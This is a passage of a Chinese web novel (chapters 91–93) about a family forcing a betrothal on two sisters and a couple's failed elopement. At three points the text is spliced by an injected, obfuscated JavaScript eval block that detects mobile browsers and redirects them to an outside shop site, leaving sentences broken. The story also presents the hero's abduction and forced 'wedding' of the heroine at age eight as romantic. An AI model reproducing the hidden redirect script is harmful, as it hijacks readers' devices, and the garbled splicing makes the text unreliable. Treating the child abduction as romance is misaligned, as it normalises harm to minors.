确定了这一切不会有变,卫泽楠不停地狂笑,那张脸都仿佛快抽筋了似的。也难怪卫泽楠有此反应,前几日,他还被囚禁在林家,还有可能成为阶下囚,结果转眼间,不仅有了娇妻,还得了爵位。卫泽楠根本不相信这种天大的好事会突然砸到自己的头上,真是踏破铁鞋无觅处,得来全不费工夫。 叶阳晨的心情与卫泽楠的形成强烈反差,他愁眉苦脸,郁闷得很,一会儿还不止怎么面对慕瑶呢。 正在这时,林慕瑶与林诗怡携手走了进来,两姐妹都在第一时间看见了自己的心上人。刚刚下人通知她们两姐妹说叶阳晨和叶清扬回来了,她们都一时不敢相信这是真的,听到自己心中的英雄得胜归来,两人恨不得插上翅膀飞到前厅去。 进了大厅,慕瑶立即瞥向叶阳晨,那眼眸里的温柔和炽热足以融化一切冰雪,缱绻情浓。大厅人太多,慕瑶性格温婉娴静,她不敢一直盯着叶阳晨看,只敢趁大家不注意的时候偷偷地瞟叶阳晨一眼,可哪怕只是看一眼,也足以令她欣喜万分。 可林慕瑶总觉得今天的叶阳晨有点奇怪,以往任何时候,叶阳晨看自己的眼神总有一种咄咄逼人,可此时的叶阳晨竟然不敢看自己,眼神甚至有些躲闪,慕瑶心里一下生出不好的预感。慕瑶不经意看见卫泽楠也在大厅里,而且瞅着自己傻笑,这更加加深她心中不好的感觉。 诗怡性格使然,难掩笑意地望着叶清扬,可她在心里纳闷的是,叶清扬的脸上比往日更加冰寒。 诗怡环顾四周,忽地看见卫泽楠笑着坐在那里,她连忙问道:“父亲,康泽楠这个讨厌鬼怎么会在这儿的?” 林远峰严厉道:“诗怡,不要没有规矩。今日为父再重新正式给你们姐妹介绍一下,其实他的真名不叫康泽楠,他姓卫,原是父亲义兄卫忠海的长子。自小你也是知道的,你们两姐妹与卫家的两兄弟有婚约,以后卫泽楠就是你的哥哥,也是你的姐夫,所以你要尊敬他。” 话音一落,诗怡黛眉深蹙,但看卫泽楠的眼神更加厌恶。 那一刻,慕瑶的心放佛骤停了,她惊愕地看向父亲,又看了看叶阳晨。慕瑶不知为何事情会在朝夕之间发生这么大的转变,她更想不通的是,为何绕了一大圈,自己还是要嫁给卫泽楠。 91. 第九十一章 林远峰的一句“姐夫”,惊讶众人的同时,也寒了叶阳晨的心。来之前,叶阳晨还抱着一线希望,希望林远峰能成全自己和慕瑶,可现在都几乎成了泡影。 卫泽楠听明白了林远峰话里的意思,自然难掩喜悦,他凑到林远峰跟前,“林伯伯,你说的都是真话?你会把慕瑶嫁给我吗?” 林远峰捋着胡须,眯眼一笑,“那是自然。这些年我一直以为你们两兄弟早已不在人间,今日终于找到了你们兄弟两个,我定会遵守当年的誓约,以慰忠海大哥在天之灵。” 听父亲这样说,慕瑶的心底都是凉的,她以为心上人回来是与自己完婚的,没成想希望却成了空。至此,慕瑶也终于明白刚刚叶阳晨为何不敢正眼看自己,原来他已先知道了爹爹的决定。 叶阳晨扑通一声跪地道:“林伯伯,我……” 叶阳晨的话还没说完,林远峰就摆手打断道:“之前你与慕瑶未举行婚仪,也未行夫妻之礼,一切尚可转圜。” 叶阳晨攥紧拳头,手指几乎要将掌心抠出血来,“那我要是怎么都不肯放弃慕瑶呢?” 林远峰气得咳嗽了好多声,指着叶阳晨道:“你…你顶撞我?这不仅仅是我的意思,也是当初你父母的意愿,难道你也要违逆你的父母?” 叶阳晨一字一顿说着:“并非叶阳晨不懂礼教,只是这些年我早已爱慕瑶入骨,林伯父让我如何放得下?” 看见曾经那个桀骜不驯、傲睨万物的叶阳晨跪在那里,慕瑶心如刀割、痛不可当,泪水就在眼眶里打转。 卫泽楠怕事情再生变,连忙跳出来,“林伯伯,我只要慕瑶,其他的什么的不要。” 卫泽楠又看向陈伯,“陈伯,你也要为泽楠做主啊。” 卫泽楠这副德行,若不是场合不对,叶清扬几乎就要痛揍他一顿,那才解他心中憋闷之气。 陈伯眉头拧在一起,终于看不下去了,“小晨,你不能这样跟你林伯伯说话。你和泽楠是亲兄弟,何故要手足相争?就算你们兄弟之间没感情,没情分,那你连你亲爹的遗愿都不愿遵从吗?你父亲一生重信守诺,你这样一意孤行,是想让他在九泉之下死不瞑目吗?” 陈伯的话说得那么重,犹如一盆冰水泼了下来,叶阳晨感觉冷得刺骨。自小,叶阳晨就个孝顺的孩子,即便他与卫忠海没有感情,但他也无法否认自己体内流着卫家的血。陈伯的话算是戳中了叶阳晨的软肋和痛处,让他全然不顾卫忠海当初定下的事,他委实犯难。何况大殿之上,所有人都否定了他与慕瑶的婚事,他又怎么能对抗所有人? 若卫忠海是默默无名之辈,叶阳晨的良心或许会稍稍好过一点。可卫忠海偏偏是人人称颂的国之脊梁,民族英雄,他要是一意孤行的话,总会觉得辱没了生父。 这时,一向沉稳的慕瑶坐不住了,“父亲,这一切会不会是弄错了呢?也许那个康泽楠就不是卫泽楠,您怎么就一定确信这个不是康泽楠使出的骗术呢?” “瑶儿,不要胡闹。陈伯原就是卫家的人,这岂能有错?再者,单从卫泽楠的眉眼,我也能看到你卫伯伯的影子。不只如此,刚刚为父说了,这次寻到的不仅是卫泽楠,还有你卫伯伯的二公子,那人便是叶阳晨,叶阳晨也就是卫泽兰。现在为父要遵守当年的誓约,为你们四个孩子完婚。即让你嫁给卫泽楠,让叶阳晨娶你的妹妹。” 这一席话说出,诗怡和慕瑶都晶眸闪动,面色灰败。姐妹两人都觉得上天跟她们开了个玩笑,又或许是月老牵错了红线,才导致姐妹两人的缘分都被点错了。 在丰国,父母之命,媒妁之言,是不能违背的,像林府这样家门,更是重信重义,一诺千金的。 一想到又无法跟心上人相守了,林慕瑶顿感浑身无力,她甚至放佛听到自己心碎的声音。 虽然林慕瑶也没打算屈从父亲的安排,但她至少不会当众顶撞父亲而让父亲难堪。可诗怡不行,她做事不喜拖泥带水,更不愿隐忍委屈自己。 林诗怡走上前,跪在叶阳晨身旁,“爹,此生女儿只嫁给叶清扬,除了他我谁也不嫁。” 平日里,林远峰待女儿如珠如宝,今日却疾言厉色,“你敢?你的婚事还由不得你做主。你一个女孩子,大庭广众之下向一个男子表白,你简直不知羞臊。” 林远峰几次因为婚事与两个女儿起冲突,他也倦了,本不愿再强求了。可目前的情况不一样了,这门亲事是十七年前定下的,这个婚约林远峰无论如何都要遵守 林远峰是不会允许小女儿嫁给他人的,因为如果卫泽楠与慕瑶在一起,而诗怡另中意他人的话,叶阳晨就只能孤单一人了。其实在林远峰心里,临时又改变婚约,虽然事出有因,但他还是觉得这样对叶阳晨有所亏欠,尤其这个准女婿还如此出色,他就更不忍心让叶阳晨最后落了单。所以这次是为了给叶阳晨一个好的安排,林远峰再次训斥了诗怡。 诗怡完全豁出去了,“我是不知臊,但是我绝不会嫁给我不喜欢的人。” 林远峰暴跳如雷,“你这是陷我于不仁不义。” 面对自己的终身幸福,林诗怡据理力争,“难道为了爹的仁、爹的义,就要牺牲女儿的幸福?” 林远峰彻底被激怒了,“来人啊,快点给我取家法来。” 林诗怡为了自己心中的那份爱,不惜与家人决裂,她跑去拉住叶清扬的手腕,“跟我走,天涯海角我们流浪去。” 清扬百感交集,若是别人的媳妇抢就抢了,可现在诗怡摇身一变成了自己哥哥的“未婚妻”,他就不敢也不忍恣意而为了。 诗怡见清扬低着头没回应,咬着唇角道:“叶清扬,平日里,你都是天不怕,地不怕的,上次还是你拉着我私奔,怎么今日这么窝囊?” 叶清扬喉咙上下翻滚,仍不知该如何抉择。踌躇片刻,清扬淡淡说道:“诗怡,如今你是我哥的未婚妻,我……” 诗怡明白了清扬的顾虑,但仍目光灼灼地望着清扬,眼神里有一抹不甘和无奈。 见局面渐渐失控,叶阳晨这时站起身来,缓慢走到林远峰面前,“林伯伯,您且息怒,也不要生诗怡的气。我在林府的日子,跟诗怡相处的不错,但在我心里一直拿她当妹妹看待,没有男女之情,所以我注定要辜负您的一番美意了。” “还有,日后我会一直带着弟弟上战场,所以他必定功成名就,拜将封候也是指日可待的。到了那个时候,清扬自然也就配得上诗怡了,还请林伯伯不要再反对他们在一起。而且我以性命向您保证,我弟弟日后定会好好善待诗怡的。” 林远峰眉头紧锁,他还是不想答应叶阳晨所说。只是叶阳晨的语气过于郑重,林远峰一时说不出话来。 陈伯急了,“泽兰,你不能胡闹。你怎么能把自己的未婚妻让给别人呢?老爷和太太如果活着,也不会同意你这么做的。你的父母在九泉之下,也是希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037897|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望你能有个幸福的归宿的。” 叶阳晨颓然一笑,“幸福?没了慕瑶,还何谈什么幸福?” 听叶阳晨那样说,林慕瑶的心放佛在滴血,而且流个不停。 叶阳晨坦然一笑,“还有陈伯,你错了,清扬不是别人,他是我的亲弟弟。还有,不是我的东西我争不过,难道是我的东西,我还不能让吗?我相信我的亲生父母在天有知,也不会怨我的。” “陈伯,作为卫氏儿郎,我虽然没有遵从父亲遗愿与林氏联姻,但他的另一个心愿我一定会帮他实现,那就是阳晨往后余生必以身许国,匡复河山,至死不悔。” 面对这样重情重义的叶阳晨,陈伯也一时哑口无言。 叶阳晨也不理会,他径直走到清扬面前。 叶清扬面色为难,兄弟情深地叫了句,“哥……” 叶阳晨拍了拍叶清扬的肩膀,又粗暴地揉搓了几下他的头,边笑边说着:“臭小子,长大了,都有女孩子喜欢了,不错的。” “哥,我不……” 叶阳晨伸出手,示意清扬不要再说下去,笑着戏谑道:“你怎么婆婆妈妈的?还没有人家一个女孩子大方勇敢。我们姓叶的,都是好男儿,但我还是要嘱咐几句,诗怡是个好姑娘,你不要辜负她。” 清扬轻轻点点头。自小,哥哥就是叶清扬在这个世界上最敬重最崇拜的人,那种感情更胜于他与父母之间的感情,叶阳晨说的任何话,叶清扬从不敢违背,何况他心里是深爱着诗怡的。 林慕瑶听叶阳晨夸诗怡大方勇敢,自己有点多心,好像自己很懦弱不敢为爱争取似的。 叶阳晨最后走到诗怡面前,“你这丫头,以后可别欺负清扬。” 诗怡心存感动,她含泪笑道:“都是他欺负我的。” 叶阳晨瞟了一眼卫泽楠,但并没有说什么。虽然从血缘上来讲,他和卫泽楠是真正的骨肉兄弟,可知道真相后的叶阳晨依然对卫泽楠无法生出好感,他能做的最多的也不过就是不敌视卫泽楠罢了,让他唤对方一声哥哥却是说不出口的。 叶阳晨转身,再次来到林远峰和沈芸面前,垂首叩头,“伯父伯母,你们保重身体,那海随时可能会蠢蠢欲动,我就先回楚州了。”换做往常,即使前线吃紧,叶阳晨也不至于一天都不能停留。可他现在不想在林府多停留一刻,因为那样他就会承受钻心之痛,就会舍不得慕瑶。 话说完,叶阳晨脸色铁青地朝厅门外走去。 见哥哥要走,清扬自然不敢逗留,他给诗怡使了个眼色,便跟在了哥哥身后。 此时,叶清扬的心里也是百感交集,别人不是很清楚哥哥对林慕瑶的感情,但他是全程看着哥哥怎么一步步赢得慕瑶嫂子芳心的。这一路走来,清扬看着哥哥娶林慕瑶,看着哥哥每年到西关来看嫂子,看着哥哥为了嫂子去啃书本,看着哥哥为了慕瑶考下头名状元。本以为终于见到曙光了,如今,他又不得不割舍掉这么多年的感情,清扬能体会到哥哥的心有多痛,有多么不舍得。 从小到大,在清扬心中,哥哥就是神一般的存在,叶清扬就不觉得这世界上有什么事可以难倒哥哥,可这一次清扬明白,哥哥充满了无力感,什么都不能做,而只能被动去接受。或许能抚平心伤的,就只能是时间了。 叶阳晨刚走到门口,便听到身后的林慕瑶带着哭腔喊道:“站住……” 叶阳晨停住脚步,但却不敢转身。 92. 第九十二章 林慕瑶强忍下喉咙中的哽咽,不顾旁人颤声问道:“叶阳晨,难道你就没有什么话要跟我说吗?”至此时,即使慕瑶脸皮薄,也顾不了许多了。 叶阳晨压下难过,语气平淡,“该说的不都说完了吗?” 叶阳晨刚要抬腿离开,林慕瑶紧咬嘴唇,“我说了,你不许走……”话未说完,眼泪已经落了下来。 叶阳晨冷笑,“不走?不走干什么?难道留下观礼吗?然后再叫你一声嫂子?”听到嫂子这两个字,林慕瑶觉得十分刺耳,瞬间她手脚冰凉,万念俱灰。 叶阳晨也已心灰意懒,才会这样口不择言。他不明白为何自己想要与慕瑶在一起是那么难,走了那么远,等了那么久,到头来还是一场空,好像老天有意在捉弄自己一样。还有就是叶阳晨确实有点生慕瑶的气,他觉得从头至尾,慕瑶不曾为他们的感情去与父母据理力争,而他自己的力量怎么可能去对抗所有人给的压力。 林慕瑶忍着伤心难过不让眼泪掉下来,正色道:“爹娘,我还有些话要与叶阳晨单独说说,请不要打扰我们。如果你们不同意的话,女儿当即一头磕死在这里。” 林远峰还想教训女儿言行不当,沈芸拉了拉他的衣角,又偷偷地使了个眼色,林远峰这才忍住了想要责备的话。林远峰转念一想,毕竟若不是临时出了插曲,叶阳晨和女儿就要成亲的,突然间改变了一切,他们或许有话要说个明白,这样一想,林远峰也就理解了女儿的行为。 慕瑶不再顾忌任何人的眼光,拉着叶阳晨的手便朝着后院自己的闺房走去。 叶阳晨和林慕瑶离开后,大厅众人皆面面相觑。大家虽觉得让叶阳晨与慕瑶独处不太妥当,但青天白日下,也没人怀疑两人会做出逾矩越礼之事,也就默许了。只是所有人都低估了叶阳晨与林慕瑶的感情,他们皆不知两人儿时拜过天地,还曾同床共枕过,虽然还未曾行夫妻之实,但这么多年过去了,感情已和真正夫妻没有区别。 一路上,慕瑶与叶阳晨皆沉默不语。他们来到慕瑶的闺房门口,慕瑶面色幽冷地身看向丫鬟,语锋凌厉道:“洛洛,守着门口,任何人不准进来。”洛洛痛快应是。 林慕瑶冷眼看了一眼叶阳晨,“你进去。”叶阳晨先推门而入,慕瑶进屋后随手把门闩上。 屋里一片沉寂,慕瑶就那么盯着叶阳晨看。 须臾,叶阳晨语气平和,“不是有话对我说吗?怎么反而不说话了呢?” 慕瑶眼圈红着,心中苍凉,“叶阳晨,你就是个混蛋。” “你这是怎么了?” 慕瑶冷笑,“什么嫂子?你给我说清楚,你这是准备一走了之吗?” “我……”到此刻,叶阳晨才发觉自己语言的匮乏,他竟什么话都说不出来。 慕瑶打断道:“怎么?刚才在大厅时,你不是慷慨陈词吗?这会儿怎么缄默不言了? “慕瑶,从前你都是温柔可人的,可不是这般咄咄逼人?” “我的咄咄逼人,总胜过你的冷血无情吧?你真是个没担当,不负责的男人。” 叶阳晨感觉自己的心被重重一击,“我没担当?不负责?这么多年是谁在等你,这么多年又是谁为了你而努力,你的心都感觉不到吗?” 慕瑶心痛,“你这是在怪我吗?我承认自己曾茫然糊涂,曾瞻前顾后,只因那时我没看清自己对你的心。所以这些年,我们的感情兜兜转转,走了许多弯路。如果你是因为这些怪我,我可以跟你道歉。可是你明白吗?我们的感情之所以走得不那么顺利,还因为我们的相识不是一个好的开始。” 叶阳晨深情一问:“那你现在看清自己的心了吗?” “我不是冷血动物,过了那么多年后,我当然感受到你的那颗心,那颗爱我的心。我以为我有后半生去补偿你为我做的所有的事,可是你却想放弃了。” “是你先想放弃吧?” 慕瑶含泪说道:“你诬陷我,我没有。” “那刚才在大厅上,你为什么不能像诗怡那样去争取呢?难道你认为我可以凭自己一个人的力量反抗那么多人吗?” 慕瑶面带一抹愧色,温声解释道:“刚刚在大厅上……” 慕瑶的话未说完,叶阳晨便轻叹一声,“这些年来,我总觉得是自己一个人在努力,在唱独角戏。慕瑶,我累了,即使我对你的感情再深,也经不起左一刀右一刀地戳来戳去的。如果命里我们真的没缘,那么我便不强求了,我只愿你幸福,永远。” 慕瑶苦笑着,“幸福?你要是离开了,你让我怎么幸福?”林慕瑶越说越激动,顺势用力扯开了自己的衣衫,赤玲珑的印记格外刺眼,“这是你留给我的,你来告诉我,我该怎么带着这个印记与我的新夫君洞房花烛?” 多年以前,林慕瑶最恨叶阳晨给自己烙下的这个玲珑印记,她甚至觉得那是自己人生的污点和耻辱。但随着林慕瑶对叶阳晨的感情发生了变化,她却无比珍惜珍视赤玲珑的印记,因为那个印记也算是两人多年感情的见证。 每次看到这个印记,慕瑶心里感受到的总是叶阳晨那么深刻地爱着自己,尽管这份迟来的浓烈而炽热的爱,曾经让她很不适应,也曾经烫伤了她。 岁月流年过,那早已不是一个简单的印记了,它镌刻着的是此生不渝的隽永誓言,见证着的是一路走来的心心相印。那个印记也早已没有烙在林慕瑶的身上,而是烙在她心底的最深处,它时刻提醒自己是叶阳晨的妻子。 以往,林慕瑶每次给叶阳晨看这个印记时,总会轻轻解开衣领,只露出脖子下很少的部分,不仅如此,她还会用手捂住胸口,生怕被叶阳晨多看到分毫。可今天慕瑶顾虑不了那么多了,她的脑海里只是在想该如何挽回自己爱人的心。情急之下,慕瑶撕扯的力气大了些,随着她的衣衫散开后,春光毕露、芳华尽现。 此时,慕瑶已经顾虑不了男女有别了,别说是让叶阳晨看到旖旎风韵,即使此刻叶阳晨想要她的贞洁之身,她也不会再有任何迟疑。因为在慕瑶的心里,她早就认定自己是叶阳晨的妻子,并且这辈子都会是的。她也不知道什么时候把叶阳晨视作郎君的,但林慕瑶知道不是最近,而是很久以前就有这种感觉了。林慕瑶甚至不禁想到,要不是当时叶阳晨着急上战场,她已经是叶阳晨的人了。 要是放在平常,叶阳晨一定一饱眼福,手不老实。可这样的时刻,他竟然下意识地移开眼睛。 见叶阳晨闪躲的目光,林慕瑶彻底崩溃了,她泪雨梨花,“我从来没有见过你这么坏的人,我八岁那年,你把我抢上泽清山寨,强行与我拜堂。那一年里,你日夜跟我同床共枕,不准我离开你半步。后来你年年来西关,吾清白之身只被你一人所见。这样的我如何还能再嫁与他人?你将我置于何地,又让我情何以堪?” 拜堂、共枕、印记,这些林慕瑶都不曾与任何人提起,这毕竟事关女孩家的名节,叶阳晨同样也不敢告知任何人。 林慕瑶的话令叶阳晨心如刀绞,他何尝舍得放手,只是这是他生身父母定下的婚约,他无可奈何。如果父母尚在人世,他还可以去跟父母争取,可父母已故去经年,他实在不想违逆。况且,林远峰、陈伯这些人都不支持他去“抢”卫泽楠的妻子。孤立无援之下,叶阳晨才在大厅上忍痛割爱。 还没来西关道前,叶阳晨就被这难以抉择的事情折磨得体无完肤,他不知该如何面对慕瑶,也不知该怎么跟慕瑶解释自己的无奈。到了林府,叶阳晨本想在大厅上不顾一切争取自己的幸福,可慕瑶也态度“不明”,最终让叶阳晨彻底失去了信心。 叶阳晨堂堂七尺男儿,少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047181|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有神色黯然,眼含泪花,“慕瑶,今生今世,你负过我,我也有负于你,从此之后,我们两不相欠。” 慕瑶心跳一滞,“你这是在跟我说诀别的话吗?” “不诀别,我们还有什么办法呢?刚刚在大厅,你也在场的……” 慕瑶停住抽泣声,娇语道:“刚刚我就想对你说一些话,可你没有让我把话说完就气得不行。我知道在前厅的时候我的表现让你有些失望,可我那并不是懦弱,我也不是不敢为我们的感情争取。每个人的处事方式不同,我愿意为了你违逆父亲的意愿,但悄悄去做就好,不是一定要通过顶撞父亲的方式去证明我对你的心意。而且我比诗怡更了解父亲的脾气,我知道硬碰硬是一点用都没有的。与其在大厅上争执争吵不休导致情形更坏,不如下来想想怎么办。” 叶阳晨眼睛倏忽一亮,“你要怎么做?” “你带我走吧,今生今世我都跟着你,我们再不分开。” 叶阳晨完全没预料到慕瑶会出此下策,一时愣在那里。 林慕瑶少有的撒娇,“怎么?你不愿意啊?如果你不愿意我就死给你看。” 叶阳晨打趣道:“你怎么也一哭二闹三上吊的?这可不是慕瑶的风格啊。” “都是被你气的,你太气人了。什么话都不让人家说完,什么事也不跟人家商量就要离开。” “慕瑶,你是说真的?你不是一直很在乎林伯伯的意见吗?你不是一直怕家人反对我们吗?你现在怎么能不顾家里的反对,这样你会心安吗?” “此一时,彼一时,我当然希望嫁人时能得到家人的祝福,欢欢喜喜地嫁你。可事到如今,看来是办不到了。既然爱人与嫁人不能两全,我当然是选择你为先。” 叶阳晨错愕,“瑶瑶,以前你怎么从没告诉过我这些心里话?” “才不想你太得意。”慕瑶有几分羞赧,“这种话当然不会随意去说啊,只有在关键时候才说啊。” 想到慕瑶要与自己私奔,叶阳晨兴奋笑了起来,“那我们去哪儿?” “随便去哪儿都行,我都跟你走。今晚丑时二刻,我会收拾好行囊,你来我房间。” 叶阳晨的眼睛不经意间停留在眼前的风光,见叶阳晨不说话,林慕瑶才注意到他的“不怀好意”。 林慕瑶娇嗔把衣衫重新整理好,“这会儿又想看了,我偏不给你看。刚才你不是很清高吗?不是扭过头去了吗?” 见叶阳晨傻楞楞地站在那里,林慕瑶轻咬着嘴唇,含羞道:“你带我走,过了今晚,你就可以随便看了……” 叶阳晨实在是放不下自己的爱人,经这么一说,他的心一横,决定把所有条条框框丢在一边。叶阳晨情不自禁地抱住了林慕瑶,“慕瑶,你真好。” 慕瑶娇媚地瞪了叶阳晨一眼,“你刚刚不是很神气吗?不是高义薄云吗?安顿好了清扬,安顿好了诗怡,唯独不管我的死活。” “以后不会了,我错了。” 林慕瑶抿嘴俏笑,“今生今世,除了你,我林慕瑶的心里再也容不下任何男儿。人家以前好好的,你非要招惹我,这会儿想逃之夭夭,已经来不及了。” 叶阳晨直言,“我从来没想过逃,其实我也极舍不得你,只是父母之命难违,刚刚又错会了你的意,才……如果你不相信我的心,我宁愿把心挖出来给你看。” 林慕瑶用手指轻轻封住叶阳晨的嘴,温柔道:“傻瓜,不要说胡话,我相信你的。好了,你不能在我房间逗留太久,以免长辈们生疑。” 叶阳晨恋恋不舍地离开了林慕瑶的闺房,此刻他再无犹疑。毕竟慕瑶一介女子尚能冲破世俗,难道他一个男儿尚不如女子乎? 人逢喜事精神爽,没有了顾虑的叶阳晨脸上透着喜悦,这一幕恰好被卫泽楠见到。 93. 第九十三章 卫泽楠起了疑心,他坚信林慕瑶和叶阳晨一定在屋里私谈了什么事,于是当天深夜他便偷偷躲在林慕瑶院落外留意着动静。 卫泽楠等了许久,几乎快睡着了,直到丑时初刻,才见叶阳晨真的来了。 叶阳晨一进林慕瑶的房间,卫泽楠便去找林远峰告状去了。 整整一晚,林慕瑶只是坐在床上等着叶阳晨来,竟半点没敢合眼。子时一过,林慕瑶就越来越紧张,她生怕叶阳晨突然改了主意。直到叶阳晨推门而入的刹那,她那颗悬着的心才终于放下。 见到情郎的一刻,她喜极而泣,一下扑到了叶阳晨的怀里,“吓死我了,我还以为你不来了呢!” 叶阳晨笑着安慰:“答应你的事,我决不食言。” 缠绵片刻,叶阳晨帮着林慕瑶穿上披风,准备领着她远走高飞。房门刚一打开,两人怔愣在那里。 房门前已经站满了人,有林远峰夫妇,有陈伯,当然还有卫泽楠。换做往常,有人站在房门外,以叶阳晨的武功,肯定会有所察觉的。只是今天叶阳晨所有的关注力都在林慕瑶的身上,对周遭的一切都疏忽了。 既然被撞见了,叶阳晨也不再躲闪,直接拉着林慕瑶的手走到林远峰面前。 至此刻,叶阳晨依旧把自己的手攥得那么紧,林慕瑶心里实在感动。 叶阳晨眼睛带着歉意,“林伯伯,我……” 林远峰怒不可遏,“阳晨,如果我没有会错意的话,今天在大厅之上,你不是同意守约吗?男子汉做事一诺千金,你怎能这样言而无信呢?你这样半夜三更拐走我女儿的行为,实在令我不齿。” 林慕瑶不忍心爱之人被父亲责备,“父亲,是我逼着阳晨带我走的,要怪你就怪我吧!” 林远峰鼻子都快被气歪了,“你给我闭嘴,我怎么生了你这么一个女儿?你个不守妇道的女人,就要这样没名没分地跟一个男人走,也不知羞耻?”若不是女儿准备背着自己私逃,林远峰也不会生这么大的气,也就更不会这样口不择言了。 叶阳晨不允许任何人诋毁慕瑶,“林伯伯,今天我在大厅上说的话是真心诚意的,我更无意背信弃诺。只是我和慕瑶两情相悦,我真的割舍不下对慕瑶的感情,请您成全。” 话音落下,卫泽楠连忙插话,“林伯伯,慕瑶是我的未婚妻,当初也是您和我爹定下的,可千万不能反悔啊!” 说着,卫泽楠又去拉着陈伯的手,“陈伯,你也要为我做主啊!” 陈伯对卫家可谓赤胆忠心,但他的迂腐观念里,他信奉卫忠海的遗愿为金科玉律,不容任何人做半分更改。 陈伯轻轻拍了拍卫泽楠的手背,示意他稍安勿躁。老人家走上前,“小晨,听陈伯一句劝,林慕瑶不久的将来,就是你的嫂子了,你干出这种事,法理所不容啊!” 叶阳晨百口莫辩,他也不能当着众人的面去跟陈伯争执。 林远峰再次说道:“阳晨,不管你说什么,我都不会同意的,你死了心吧。我对你今天的行为很失望。” 林慕瑶扑通跪倒在地,“父亲,从小您就待我如珠如宝,您就再爱女儿一次,不要逼我嫁给别人,除了叶阳晨,我的心里装不下任何人的。你如果执意逼女儿,女儿就没有活路了。” 慕瑶说没有活路,是她的心里话,可没人当真。就连向来疼爱女儿的沈芸,也是一直偷偷摆手,示意女儿不要再说下去了。 尽管平日里,慕瑶都以温婉柔顺、娴静端庄的一面示人,可她骨子里是非常执拗的性格,遇到她坚持的事情,任何人都难改变她的意志。 林慕瑶看向母亲,“娘亲,我不要嫁给那个卫泽楠,女儿是认真的,不是在说笑。”沈氏依然摇了摇头。 林远峰气急败坏,快步走上前,抬手就要给女儿一个耳光。他的手刚要落下,手腕便被叶阳晨攥住。 林远峰吼道:“你竟敢拦着我?简直是无礼。” “林伯伯,动手不解决问题,何况慕瑶是我的未婚妻子,我不允许你对她动手。” 林慕瑶泪流满面,她从未想过有一天自己会为了一个男人忤逆父亲。在丰国,对父母不孝,子女会受到最严厉的刑罚惩处。 林远峰仰头看着天,大声喊道:“忠海兄,你泉下有知,可曾看到你的不孝子啊?他就这样公然顶撞我,还要拐走我的女儿。” 在叶阳晨小的时候,叶阳天经常给他讲故事。叶阳晨记得父亲曾经说过,一个人过世后,如果他担心惦记凡间的亲人爱人,便会舍不得转世。那么他就会一直在天上看着生活在凡世的你,直到有一天他确信你已获得幸福,他才会心安的离开。 所以一听到林远峰这样与卫忠海说话,叶阳晨很怕惊扰到天上的父亲卫忠海和母亲白华,他不忍心逝去的双亲因为自己这个不孝子而得不到安宁,想到这些,他自责地双膝跪地。 林远峰怒目而视,“叶阳晨,你跟我来。” 一行人跟着林老爷来到林家祠堂,林远峰只让叶阳晨跟着自己走进去,至于其它人则站在祠堂门外等候。 林远峰祖上虽然不如卫忠海家里尊贵,但也是书香世家,祠堂的设计和修建也都很考究。卫忠海生前,不仅是林远峰的义兄,也是林远峰的亲家,所以林远峰就在自家祠堂的角落里,为卫忠海夫妇设了牌位。 林远峰怒声道:“叶阳晨,你给我好好跪在这里反省,什么时候你觉得不再愧对先人,你再给我站起来。” 叶阳晨看到是生父生母的牌位,不由得双膝跪倒,泪盈于眶。跪在那里,他的内心翻江倒海,久久不能平静。无论是陈伯,还是林远峰,总是一遍又一遍提起卫忠海,这无异于在叶阳晨的心里捅刀子,他痛不可当,但却没有任何办法,只能忍受着这份痛。 林远峰走出祠堂,对着众人吼道:“都回去休息吧,有什么事我们明天早上再说。” 望着叶阳晨跪在那里的背影,林慕瑶虽然心有万般不舍,但此时此刻她也无可奈何。 林远峰走了两步,转身回头叮嘱慕瑶的丫鬟,“洛洛,今晚你就睡在你们小姐房的外间,看守着你家小姐,有任何事情立刻来报我。如果你家小姐明早不见了,我拿你试问。” 众人散去,只有祠堂灯火通明。 回了房间后,林慕瑶依然魂不守舍,她期待的远走高飞一幕没有变为现实,她第一次这么讨厌待在这个家中,放佛这间房子像个牢笼一般,令人窒息。 片刻后,母亲沈芸来了,虽然时候已经很晚了,但她不放心女儿,还是想过来看看。 沈芸坐在慕瑶的旁边,握住女儿的手,“瑶儿,你不要吓娘,你实话告诉娘,你为何对那个叶阳晨一往情深呢?” 听到一往情深这四个字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057763|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕瑶心里更加难过,“娘,女儿哪有一往情深?只是与叶阳晨的婚事是之前定下的事,就不想再改变罢了。” “知女莫若母,你就别瞒着娘了,娘看得出来,你对叶阳晨的感情已经很深了。” “喜欢就是喜欢上了,没有什么为什么的。”慕瑶自然不敢把小时候被叶阳晨抢上山的事说出来,此时父母不知情尚不同意她与叶阳晨的婚事,如果被他们知道过往,自己就更别想与叶阳晨相守了。 